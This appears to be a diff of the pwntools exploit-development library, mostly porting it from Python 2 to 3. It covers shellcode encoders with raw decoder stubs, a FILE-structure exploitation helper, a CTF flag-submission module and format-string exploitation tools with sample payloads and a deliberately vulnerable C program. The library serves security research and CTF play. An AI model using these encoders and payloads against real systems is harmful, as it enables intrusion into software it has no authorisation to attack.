||||
def _get_subtractions(self, shellcode, vocab):
|
||||
r""" Covert the sellcode to sub eax and posh eax instructions
|
||||
|
||||
int_size is taken from the context
|
||||
|
||||
Args:
|
||||
shellcode (bytearray): The shellcode to pack
|
||||
vocab (bytearray): Allowed characters
|
||||
|
||||
Returns:
|
||||
bytearray: packed shellcode
|
||||
|
||||
Examples:
|
||||
|
||||
>>> context.update(arch='i386', os='linux')
|
||||
>>> sc = bytearray(b'ABCDEFGHIGKLMNOPQRSTUVXYZ')
|
||||
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
|
||||
>>> encoders.i386.ascii_shellcode.encode._get_subtractions(sc, vocab)
|
||||
bytearray(b'-(!!!-~NNNP-!=;:-f~~~-~~~~P-!!!!-edee-~~~~P-!!!!-eddd-~~~~P-!!!!-egdd-~~~~P-!!!!-eadd-~~~~P-!!!!-eddd-~~~~P')
|
||||
"""
|
||||
int_size = context.bytes
|
||||
result = bytearray()
|
||||
last = bytearray(int_size)
|
||||
# Group the shellcode into bytes of stack cell size, pad with NOPs
|
||||
# if the shellcode does not divide into stack cell size and reverse.
|
||||
# The shellcode will be reversed again back to it's original order once
|
||||
# it's pushed onto the stack
|
||||
sc = tuple(group(int_size, shellcode, 0x90))[::-1]
|
||||
# Pack the shellcode to a sub/push sequence
|
||||
for x in sc:
|
||||
for subtraction in self._calc_subtractions(last, x, vocab):
|
||||
result += b'-' + subtraction # sub eax, ...
|
||||
last = x
|
||||
result += b'P' # push eax
|
||||
return result
|
||||
|
||||
@LocalContext
|
||||
def _calc_subtractions(self, last, target, vocab):
|
||||
r""" Given `target` and `last`, return a list of integers that when
|
||||
subtracted from `last` will equal `target` while only constructing
|
||||
integers from bytes in `vocab`
|
||||
|
||||
int_size is taken from the context
|
||||
|
||||
Args:
|
||||
last (bytearray): Original value
|
||||
target (bytearray): Desired value
|
||||
vocab (bytearray): Allowed characters
|
||||
|
||||
Raises:
|
||||
ArithmeticError: If a sequence of subtractions could not be found
|
||||
|
||||
Returns:
|
||||
List[bytearray]: List of numbers that would need to be subtracted
|
||||
from `last` to get to `target`
|
||||
|
||||
Examples:
|
||||
|
||||
>>> context.update(arch='i386', os='linux')
|
||||
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
|
||||
>>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b'\x10'*4), bytearray(b'\x11'*4), vocab))
|
||||
[bytearray(b'!!!!'), bytearray(b'`___'), bytearray(b'~~~~')]
|
||||
>>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b'\x11\x12\x13\x14'), bytearray(b'\x15\x16\x17\x18'), vocab))
|
||||
[bytearray(b'~}}}'), bytearray(b'~~~~')]
|
||||
"""
|
||||
int_size = context.bytes
|
||||
subtractions = [bytearray(int_size)]
|
||||
for sub in range(self.max_subs):
|
||||
carry = success_count = 0
|
||||
for byte in range(int_size):
|
||||
# Try all combinations of all the characters in vocab of
|
||||
# `subtraction` characters in each combination. So if
|
||||
# `max_subs` is 4 and we're on the second subtraction attempt,
|
||||
# products will equal
|
||||
# [\, ", #, %, ...], [\, ", #, %, ...], (0,), (0,)
|
||||
for products in product(
|
||||
*[x <= sub and vocab or (0,) for x in range(self.max_subs)]
|
||||
):
|
||||
# Sum up all the products, carry from last byte and
|
||||
# the target
|
||||
attempt = target[byte] + carry + sum(products)
|
||||
# If the attempt equals last, we've found the combination
|
||||
if last[byte] == attempt & 0xff:
|
||||
carry = (attempt & 0xff00) >> 8
|
||||
# Update the result with the current `products`
|
||||
for p, i in zip(products, range(sub + 1)):
|
||||
subtractions[i][byte] = p
|
||||
success_count += 1
|
||||
break
|
||||
if success_count == int_size:
|
||||
return subtractions
|
||||
else:
|
||||
subtractions.append(bytearray(int_size))
|
||||
else:
|
||||
raise ArithmeticError(
|
||||
str.format(
|
||||
'''Could not find the correct subtraction sequence
|
||||
to get the the desired target ({}) from ({})''',
|
||||
target[byte], last[byte]))
|
||||
|
||||
|
||||
encode = AsciiShellcodeEncoder()
|
||||
@@ -1,6 +1,7 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import six
|
||||
import collections
|
||||
from random import choice
|
||||
from random import randint
|
||||
@@ -41,7 +42,7 @@ class i386DeltaEncoder(Encoder):
|
||||
|
||||
Example:
|
||||
|
||||
>>> sc = pwnlib.encoders.i386.delta.encode('\xcc', '\x00\xcc')
|
||||
>>> sc = pwnlib.encoders.i386.delta.encode(b'\xcc', b'\x00\xcc')
|
||||
>>> e = ELF.from_bytes(sc)
|
||||
>>> e.process().poll(True)
|
||||
-5
|
||||
@@ -50,36 +51,35 @@ class i386DeltaEncoder(Encoder):
|
||||
arch = 'i386'
|
||||
stub = None
|
||||
terminator = 0xac
|
||||
raw = '\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
|
||||
raw = b'\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
|
||||
|
||||
blacklist = set(raw)
|
||||
|
||||
def __call__(self, bytes, avoid, pcreg=''):
|
||||
def __call__(self, raw_bytes, avoid, pcreg=''):
|
||||
table = collections.defaultdict(lambda: [])
|
||||
endchar = ''
|
||||
endchar = bytearray()
|
||||
|
||||
not_bad = lambda x: chr(x) not in avoid
|
||||
not_bad = lambda x: six.int2byte(x) not in avoid
|
||||
not_bad_or_term = lambda x: not_bad(x) and x != self.terminator
|
||||
|
||||
for i in filter(not_bad_or_term, range(0, 256)):
|
||||
endchar += chr(i)
|
||||
endchar.append(i)
|
||||
for j in filter(not_bad, range(0, 256)):
|
||||
table[(j - i) & 0xff].append(chr(i) + chr(j))
|
||||
table[(j - i) & 0xff].append(bytearray([i, j]))
|
||||
|
||||
res = self.raw
|
||||
res = bytearray(self.raw)
|
||||
|
||||
for c in bytes:
|
||||
a = ord(c)
|
||||
l = len(table[a])
|
||||
for c in bytearray(raw_bytes):
|
||||
l = len(table[c])
|
||||
if l == 0:
|
||||
print('No encodings for character %02x' % a)
|
||||
print('No encodings for character %02x' % c)
|
||||
return None
|
||||
|
||||
res += table[a][randint(0, l - 1)]
|
||||
res += table[c][randint(0, l - 1)]
|
||||
|
||||
res += chr(self.terminator)
|
||||
res += choice(endchar)
|
||||
res.append(self.terminator)
|
||||
res.append(choice(endchar))
|
||||
|
||||
return res
|
||||
return bytes(res)
|
||||
|
||||
encode = i386DeltaEncoder()
|
||||
@@ -1,4 +1,3 @@
|
||||
#!/usr/bin/env python2
|
||||
# Source:
|
||||
# http://www.iodigitalsec.com/python-cascading-xor-polymorphic-shellcode-generator/
|
||||
#
|
||||
|
||||
+66
-66
@@ -1,4 +1,3 @@
|
||||
#!/usr/bin/env python2
|
||||
# Source:
|
||||
# https://github.com/zcutlip/bowcaster/blob/master/src/bowcaster/encoders/mips.py
|
||||
#
|
||||
@@ -26,6 +25,7 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import six
|
||||
from pwnlib import asm
|
||||
from pwnlib import shellcraft
|
||||
from pwnlib.context import context
|
||||
@@ -33,67 +33,67 @@ from pwnlib.encoders.encoder import Encoder
|
||||
from pwnlib.util.fiddling import xor_key
|
||||
|
||||
decoders = {
|
||||
'little': ''.join([
|
||||
"SIZ2SIZ1\x0e\x24", # li t6,-5
|
||||
"\x27\x70\xc0\x01", # nor t6,t6,zero
|
||||
"\xa3\xff\x0b\x24", # li t3,-93
|
||||
"\x26\x40\xce\x01", # xor t0,t6,t6
|
||||
"\xff\xff\x08\x21", # addi t0,t0,-1
|
||||
"\xff\xff\x10\x05", # bltzal t0,14 <next>
|
||||
"\x82\x82\x08\x28", # slti t0,zero,-32126
|
||||
"\xe2\xff\xfd\x23", # addi sp,ra,-30
|
||||
"\x27\x58\x60\x01", # nor t3,t3,zero
|
||||
"\x21\xc8\xeb\x03", # addu t9,ra,t3
|
||||
"\x82\x82\x17\x28", # slti s7,zero,-32126
|
||||
"\xfc\xff\x31\x8f", # lw s1,-4(t9)
|
||||
"\xfb\xff\x0c\x24", # li t4,-5
|
||||
"\x27\x60\x80\x01", # nor t4,t4,zero
|
||||
"\xfd\xff\x8f\x21", # addi t7,t4,-3
|
||||
"\xfc\xff\x28\x8f", # lw t0,-4(t9)
|
||||
"\x21\xb8\xef\x02", # addu s7,s7,t7
|
||||
"\x26\x18\x11\x01", # xor v1,t0,s1
|
||||
"\x2b\xf0\xee\x02", # sltu s8,s7,t6
|
||||
"\xfc\xff\x23\xaf", # sw v1,-4(t9)
|
||||
"\xfa\xff\x1e\x14", # bne zero,s8,3c <loop>
|
||||
"\x21\xc8\x2c\x03", # addu t9,t9,t4
|
||||
"\xfd\xff\x86\x21", # addi a2,t4,-3
|
||||
"\xf8\xff\xa6\xaf", # sw a2,-8(sp)
|
||||
"\x26\x28\xce\x01", # xor a1,t6,t6
|
||||
"\xfc\xff\xa5\xaf", # sw a1,-4(sp)
|
||||
"\xf8\xff\xa4\x27", # addiu a0,sp,-8
|
||||
"\x46\x10\x02\x24", # li v0,4166
|
||||
"\x0c\x54\x4a\x01" # syscall 0x52950
|
||||
'little': b''.join([
|
||||
b'SIZ2SIZ1\x0e\x24', # li t6,-5
|
||||
b'\x27\x70\xc0\x01', # nor t6,t6,zero
|
||||
b'\xa3\xff\x0b\x24', # li t3,-93
|
||||
b'\x26\x40\xce\x01', # xor t0,t6,t6
|
||||
b'\xff\xff\x08\x21', # addi t0,t0,-1
|
||||
b'\xff\xff\x10\x05', # bltzal t0,14 <next>
|
||||
b'\x82\x82\x08\x28', # slti t0,zero,-32126
|
||||
b'\xe2\xff\xfd\x23', # addi sp,ra,-30
|
||||
b'\x27\x58\x60\x01', # nor t3,t3,zero
|
||||
b'\x21\xc8\xeb\x03', # addu t9,ra,t3
|
||||
b'\x82\x82\x17\x28', # slti s7,zero,-32126
|
||||
b'\xfc\xff\x31\x8f', # lw s1,-4(t9)
|
||||
b'\xfb\xff\x0c\x24', # li t4,-5
|
||||
b'\x27\x60\x80\x01', # nor t4,t4,zero
|
||||
b'\xfd\xff\x8f\x21', # addi t7,t4,-3
|
||||
b'\xfc\xff\x28\x8f', # lw t0,-4(t9)
|
||||
b'\x21\xb8\xef\x02', # addu s7,s7,t7
|
||||
b'\x26\x18\x11\x01', # xor v1,t0,s1
|
||||
b'\x2b\xf0\xee\x02', # sltu s8,s7,t6
|
||||
b'\xfc\xff\x23\xaf', # sw v1,-4(t9)
|
||||
b'\xfa\xff\x1e\x14', # bne zero,s8,3c <loop>
|
||||
b'\x21\xc8\x2c\x03', # addu t9,t9,t4
|
||||
b'\xfd\xff\x86\x21', # addi a2,t4,-3
|
||||
b'\xf8\xff\xa6\xaf', # sw a2,-8(sp)
|
||||
b'\x26\x28\xce\x01', # xor a1,t6,t6
|
||||
b'\xfc\xff\xa5\xaf', # sw a1,-4(sp)
|
||||
b'\xf8\xff\xa4\x27', # addiu a0,sp,-8
|
||||
b'\x46\x10\x02\x24', # li v0,4166
|
||||
b'\x0c\x54\x4a\x01' # syscall 0x52950
|
||||
]),
|
||||
'big': ''.join([
|
||||
"\x24\x0eSIZ1SIZ2", # li t6,-5
|
||||
"\x01\xc0\x70\x27", # nor t6,t6,zero
|
||||
"\x24\x0b\xff\xa3", # li t3,-93
|
||||
"\x01\xce\x40\x26", # xor t0,t6,t6
|
||||
"\x21\x08\xff\xff", # addi t0,t0,-1
|
||||
"\x05\x10\xff\xff", # bltzal t0,14 <next>
|
||||
"\x28\x08\x82\x82", # slti t0,zero,-32126
|
||||
"\x23\xfd\xff\xe2", # addi sp,ra,-30
|
||||
"\x01\x60\x58\x27", # nor t3,t3,zero
|
||||
"\x03\xeb\xc8\x21", # addu t9,ra,t3
|
||||
"\x28\x17\x82\x82", # slti s7,zero,-32126
|
||||
"\x8f\x31\xff\xfc", # lw s1,-4(t9)
|
||||
"\x24\x0c\xff\xfb", # li t4,-5
|
||||
"\x01\x80\x60\x27", # nor t4,t4,zero
|
||||
"\x21\x8f\xff\xfd", # addi t7,t4,-3
|
||||
"\x8f\x28\xff\xfc", # lw t0,-4(t9)
|
||||
"\x02\xef\xb8\x21", # addu s7,s7,t7
|
||||
"\x01\x11\x18\x26", # xor v1,t0,s1
|
||||
"\x02\xee\xf0\x2b", # sltu s8,s7,t6
|
||||
"\xaf\x23\xff\xfc", # sw v1,-4(t9)
|
||||
"\x14\x1e\xff\xfa", # bne zero,s8,3c <loop>
|
||||
"\x03\x2c\xc8\x21", # addu t9,t9,t4
|
||||
"\x21\x86\xff\xfd", # addi a2,t4,-3
|
||||
"\xaf\xa6\xff\xf8", # sw a2,-8(sp)
|
||||
"\x01\xce\x28\x26", # xor a1,t6,t6
|
||||
"\xaf\xa5\xff\xfc", # sw a1,-4(sp)
|
||||
"\x27\xa4\xff\xf8", # addiu a0,sp,-8
|
||||
"\x24\x02\x10\x46", # li v0,4166
|
||||
"\x01\x4a\x54\x0c" # syscall 0x52950
|
||||
'big': b''.join([
|
||||
b'\x24\x0eSIZ1SIZ2', # li t6,-5
|
||||
b'\x01\xc0\x70\x27', # nor t6,t6,zero
|
||||
b'\x24\x0b\xff\xa3', # li t3,-93
|
||||
b'\x01\xce\x40\x26', # xor t0,t6,t6
|
||||
b'\x21\x08\xff\xff', # addi t0,t0,-1
|
||||
b'\x05\x10\xff\xff', # bltzal t0,14 <next>
|
||||
b'\x28\x08\x82\x82', # slti t0,zero,-32126
|
||||
b'\x23\xfd\xff\xe2', # addi sp,ra,-30
|
||||
b'\x01\x60\x58\x27', # nor t3,t3,zero
|
||||
b'\x03\xeb\xc8\x21', # addu t9,ra,t3
|
||||
b'\x28\x17\x82\x82', # slti s7,zero,-32126
|
||||
b'\x8f\x31\xff\xfc', # lw s1,-4(t9)
|
||||
b'\x24\x0c\xff\xfb', # li t4,-5
|
||||
b'\x01\x80\x60\x27', # nor t4,t4,zero
|
||||
b'\x21\x8f\xff\xfd', # addi t7,t4,-3
|
||||
b'\x8f\x28\xff\xfc', # lw t0,-4(t9)
|
||||
b'\x02\xef\xb8\x21', # addu s7,s7,t7
|
||||
b'\x01\x11\x18\x26', # xor v1,t0,s1
|
||||
b'\x02\xee\xf0\x2b', # sltu s8,s7,t6
|
||||
b'\xaf\x23\xff\xfc', # sw v1,-4(t9)
|
||||
b'\x14\x1e\xff\xfa', # bne zero,s8,3c <loop>
|
||||
b'\x03\x2c\xc8\x21', # addu t9,t9,t4
|
||||
b'\x21\x86\xff\xfd', # addi a2,t4,-3
|
||||
b'\xaf\xa6\xff\xf8', # sw a2,-8(sp)
|
||||
b'\x01\xce\x28\x26', # xor a1,t6,t6
|
||||
b'\xaf\xa5\xff\xfc', # sw a1,-4(sp)
|
||||
b'\x27\xa4\xff\xf8', # addiu a0,sp,-8
|
||||
b'\x24\x02\x10\x46', # li v0,4166
|
||||
b'\x01\x4a\x54\x0c' # syscall 0x52950
|
||||
])
|
||||
}
|
||||
|
||||
@@ -104,7 +104,7 @@ class MipsXorEncoder(Encoder):
|
||||
|
||||
>>> context.clear(arch='mips')
|
||||
>>> shellcode = asm(shellcraft.sh())
|
||||
>>> avoid = '/bin/sh\x00'
|
||||
>>> avoid = b'/bin/sh\x00'
|
||||
>>> encoded = pwnlib.encoders.mips.xor.encode(shellcode, avoid)
|
||||
>>> assert not any(c in encoded for c in avoid)
|
||||
>>> p = run_shellcode(encoded)
|
||||
@@ -114,7 +114,7 @@ class MipsXorEncoder(Encoder):
|
||||
"""
|
||||
|
||||
arch = 'mips'
|
||||
blacklist = cannot_avoid = set(''.join(v for v in decoders.values()))
|
||||
blacklist = cannot_avoid = set(b''.join(v for v in decoders.values()))
|
||||
|
||||
def __call__(self, raw_bytes, avoid, pcreg=''):
|
||||
|
||||
@@ -127,9 +127,9 @@ class MipsXorEncoder(Encoder):
|
||||
sizelo = size & 0xff
|
||||
sizehi = size >> 8
|
||||
|
||||
decoder = str(decoders[context.endian])
|
||||
decoder = decoder.replace('SIZ1', chr(sizehi))
|
||||
decoder = decoder.replace('SIZ2', chr(sizelo))
|
||||
decoder = decoders[context.endian]
|
||||
decoder = decoder.replace(b'SIZ1', six.int2byte(sizehi))
|
||||
decoder = decoder.replace(b'SIZ2', six.int2byte(sizelo))
|
||||
|
||||
key, data = xor_key(raw_bytes, avoid=avoid)
|
||||
|
||||
|
||||
+10
-3
@@ -3,9 +3,12 @@
|
||||
r"""
|
||||
File Structure Exploitation
|
||||
|
||||
struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location.
|
||||
struct FILE (_IO_FILE) is the structure for File Streams.
|
||||
This offers various targets for exploitation on an existing bug in the code.
|
||||
Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.
|
||||
|
||||
Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-
|
||||
Remembering the offsets of various structure members while faking a FILE structure can be difficult,
|
||||
so this python class helps you with that. Example-
|
||||
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> fileStr = FileStructure(null=0xdeadbeef)
|
||||
@@ -24,6 +27,7 @@ from __future__ import division
|
||||
|
||||
from pwnlib.context import context
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.util.misc import python_2_bytes_compatible
|
||||
from pwnlib.util.packing import pack
|
||||
|
||||
log = getLogger(__name__)
|
||||
@@ -62,6 +66,8 @@ variables={
|
||||
26:{name:'vtable',size:length}
|
||||
}
|
||||
|
||||
del name, size, length
|
||||
|
||||
|
||||
def update_var(l):
|
||||
r"""
|
||||
@@ -91,6 +97,8 @@ def update_var(l):
|
||||
var['unknown2']=48
|
||||
return var
|
||||
|
||||
|
||||
@python_2_bytes_compatible
|
||||
class FileStructure(object):
|
||||
r"""
|
||||
Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
|
||||
@@ -187,7 +195,6 @@ class FileStructure(object):
|
||||
else:
|
||||
structure += pack(self.__getattr__(val), self.length[val]*8)
|
||||
return structure
|
||||
__str__ = __bytes__
|
||||
|
||||
def struntil(self,v):
|
||||
r"""
|
||||
|
||||
+1
-3
@@ -11,7 +11,6 @@ from pwnlib.tubes.remote import remote
|
||||
|
||||
env_server = args.get('FLAG_HOST', 'flag-submission-server').strip()
|
||||
env_port = args.get('FLAG_PORT', '31337').strip()
|
||||
env_proto = args.get('FLAG_PROTO', 'tcp').strip()
|
||||
env_file = args.get('FLAG_FILE', '/does/not/exist').strip()
|
||||
env_exploit_name = args.get('EXPLOIT_NAME', 'unnamed-exploit').strip()
|
||||
env_target_host = args.get('TARGET_HOST', 'unknown-target').strip()
|
||||
@@ -24,7 +23,6 @@ def submit_flag(flag,
|
||||
target=env_target_host,
|
||||
server=env_server,
|
||||
port=env_port,
|
||||
proto=env_proto,
|
||||
team=env_team_name):
|
||||
"""
|
||||
Submits a flag to the game server
|
||||
@@ -35,7 +33,7 @@ def submit_flag(flag,
|
||||
target(str): Target identifier, optional
|
||||
server(str): Flag server host name, optional
|
||||
port(int): Flag server port, optional
|
||||
proto(str), Flag server protocol, optional
|
||||
team(str): Team identifier, optional
|
||||
|
||||
Optional arguments are inferred from the environment,
|
||||
or omitted if none is set.
|
||||
|
||||
+54
-60
@@ -1,39 +1,39 @@
|
||||
r"""
|
||||
Provide some tools to exploit format string bug
|
||||
|
||||
Examples:
|
||||
Let's use this program as an example:
|
||||
|
||||
>>> program = tempfile.mktemp()
|
||||
>>> source = program + ".c"
|
||||
>>> write(source, '''
|
||||
... #include <stdio.h>
|
||||
... #include <stdlib.h>
|
||||
... #include <unistd.h>
|
||||
... #include <sys/mman.h>
|
||||
... #define MEMORY_ADDRESS ((void*)0x11111000)
|
||||
... #define MEMORY_SIZE 1024
|
||||
... #define TARGET ((int *) 0x11111110)
|
||||
... int main(int argc, char const *argv[])
|
||||
... {
|
||||
... char buff[1024];
|
||||
... void *ptr = NULL;
|
||||
... int *my_var = TARGET;
|
||||
... ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
... if(ptr != MEMORY_ADDRESS)
|
||||
... {
|
||||
... perror("mmap");
|
||||
... return EXIT_FAILURE;
|
||||
... }
|
||||
... *my_var = 0x41414141;
|
||||
... write(1, &my_var, sizeof(int *));
|
||||
... scanf("%s", buff);
|
||||
... dprintf(2, buff);
|
||||
... write(1, my_var, sizeof(int));
|
||||
... return 0;
|
||||
... }''')
|
||||
>>> gcc = process(["gcc", source, "-Wno-format-security", "-m32", "-o", program])
|
||||
>>> gcc.poll(True) and gcc.recvall()
|
||||
0
|
||||
::
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#define MEMORY_ADDRESS ((void*)0x11111000)
|
||||
#define MEMORY_SIZE 1024
|
||||
#define TARGET ((int *) 0x11111110)
|
||||
int main(int argc, char const *argv[])
|
||||
{
|
||||
char buff[1024];
|
||||
void *ptr = NULL;
|
||||
int *my_var = TARGET;
|
||||
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if(ptr != MEMORY_ADDRESS)
|
||||
{
|
||||
perror("mmap");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
*my_var = 0x41414141;
|
||||
write(1, &my_var, sizeof(int *));
|
||||
scanf("%s", buff);
|
||||
dprintf(2, buff);
|
||||
write(1, my_var, sizeof(int));
|
||||
return 0;
|
||||
}
|
||||
|
||||
We can automate the exploitation of the process like so:
|
||||
|
||||
>>> program = pwnlib.data.elf.fmtstr.get('i386')
|
||||
>>> def exec_fmt(payload):
|
||||
... p = process(program)
|
||||
... p.sendline(payload)
|
||||
@@ -246,9 +246,9 @@ class AtomWrite(object):
|
||||
Combine adjacent writes into a single write.
|
||||
|
||||
Example:
|
||||
>>> context.clear(endian = "little")
|
||||
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
|
||||
AtomWrite(start=0, size=2, integer=0x201, mask=0xff77)
|
||||
>>> context.clear(endian = "little")
|
||||
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
|
||||
AtomWrite(start=0, size=2, integer=0x201, mask=0x77ff)
|
||||
"""
|
||||
assert other.start == self.end, "writes to combine must be continous"
|
||||
if context.endian == "little":
|
||||
@@ -778,22 +778,22 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
|
||||
|
||||
Examples:
|
||||
>>> context.clear(arch = 'amd64')
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
|
||||
b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
|
||||
b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
|
||||
b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> context.clear(arch = 'i386')
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
|
||||
b'%322419390c%5$na\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
|
||||
b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
|
||||
b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
|
||||
b'%1c%3$na\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')))
|
||||
>>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
|
||||
b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
|
||||
"""
|
||||
sz = WRITE_SIZE[write_size]
|
||||
@@ -834,23 +834,13 @@ class FmtStr(object):
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, execute_fmt, offset = None, padlen = 0, numbwritten = 0):
|
||||
"""
|
||||
Instantiates an object which try to automating exploit the vulnerable process
|
||||
|
||||
Arguments:
|
||||
execute_fmt(function): function to call for communicate with the vulnerable process
|
||||
offset(int): the first formatter's offset you control
|
||||
padlen(int): size of the pad you want to add before the payload
|
||||
numbwritten(int): number of already written bytes
|
||||
"""
|
||||
def __init__(self, execute_fmt, offset=None, padlen=0, numbwritten=0):
|
||||
self.execute_fmt = execute_fmt
|
||||
self.offset = offset
|
||||
self.padlen = padlen
|
||||
self.numbwritten = numbwritten
|
||||
|
||||
|
||||
if self.offset == None:
|
||||
if self.offset is None:
|
||||
self.offset, self.padlen = self.find_offset()
|
||||
log.info("Found format string offset: %d", self.offset)
|
||||
|
||||
@@ -858,9 +848,10 @@ class FmtStr(object):
|
||||
self.leaker = MemLeak(self._leaker)
|
||||
|
||||
def leak_stack(self, offset, prefix=b""):
|
||||
leak = self.execute_fmt(prefix + b"START%%%d$pEND" % offset)
|
||||
payload = b"START%%%d$pEND" % offset
|
||||
leak = self.execute_fmt(prefix + payload)
|
||||
try:
|
||||
leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
|
||||
leak = re.findall(br"START(.*?)END", leak, re.MULTILINE | re.DOTALL)[0]
|
||||
leak = int(leak, 16)
|
||||
except ValueError:
|
||||
leak = 0
|
||||
@@ -872,7 +863,7 @@ class FmtStr(object):
|
||||
leak = self.leak_stack(off, marker)
|
||||
leak = pack(leak)
|
||||
|
||||
pad = cyclic_find(leak)
|
||||
pad = cyclic_find(leak[:4])
|
||||
if pad >= 0 and pad < 20:
|
||||
return off, pad
|
||||
else:
|
||||
@@ -889,7 +880,10 @@ class FmtStr(object):
|
||||
if addr & 0xfff == 0 and self.leaker._leak(addr+1, 3, False) == b"ELF":
|
||||
return b"\x7f"
|
||||
|
||||
fmtstr = randoms(self.padlen).encode() + pack(addr) + b"START%%%d$sEND" % self.offset
|
||||
fmtstr = fit({
|
||||
self.padlen: b"START%%%d$sEND" % (self.offset + 16//context.bytes),
|
||||
16 + self.padlen: addr
|
||||
})
|
||||
|
||||
leak = self.execute_fmt(fmtstr)
|
||||
leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
|
||||
@@ -908,7 +902,7 @@ class FmtStr(object):
|
||||
|
||||
"""
|
||||
fmtstr = randoms(self.padlen).encode()
|
||||
fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen, write_size='byte')
|
||||
fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen + self.numbwritten, write_size='byte')
|
||||
self.execute_fmt(fmtstr)
|
||||
self.writes = {}
|
||||
|
||||
|
||||
+110
-87
@@ -67,7 +67,7 @@ which is intended to prevent processes from debugging eachother unless there is
|
||||
a direct parent-child relationship.
|
||||
|
||||
This causes some issues with the normal Pwntools workflow, since the process
|
||||
heirarchy looks like this:
|
||||
hierarchy looks like this:
|
||||
|
||||
::
|
||||
|
||||
@@ -110,6 +110,7 @@ from pwnlib.asm import make_elf_from_assembly
|
||||
from pwnlib.context import LocalContext
|
||||
from pwnlib.context import context
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.timeout import Timeout
|
||||
from pwnlib.util import misc
|
||||
from pwnlib.util import proc
|
||||
|
||||
@@ -236,13 +237,14 @@ def _gdbserver_args(pid=None, path=None, args=None, which=None, env=None):
|
||||
if pid:
|
||||
gdbserver_args += ['--once', '--attach']
|
||||
|
||||
if env:
|
||||
if env is not None:
|
||||
env_args = []
|
||||
for key in tuple(env):
|
||||
if key.startswith('LD_'): # LD_PRELOAD / LD_LIBRARY_PATH etc.
|
||||
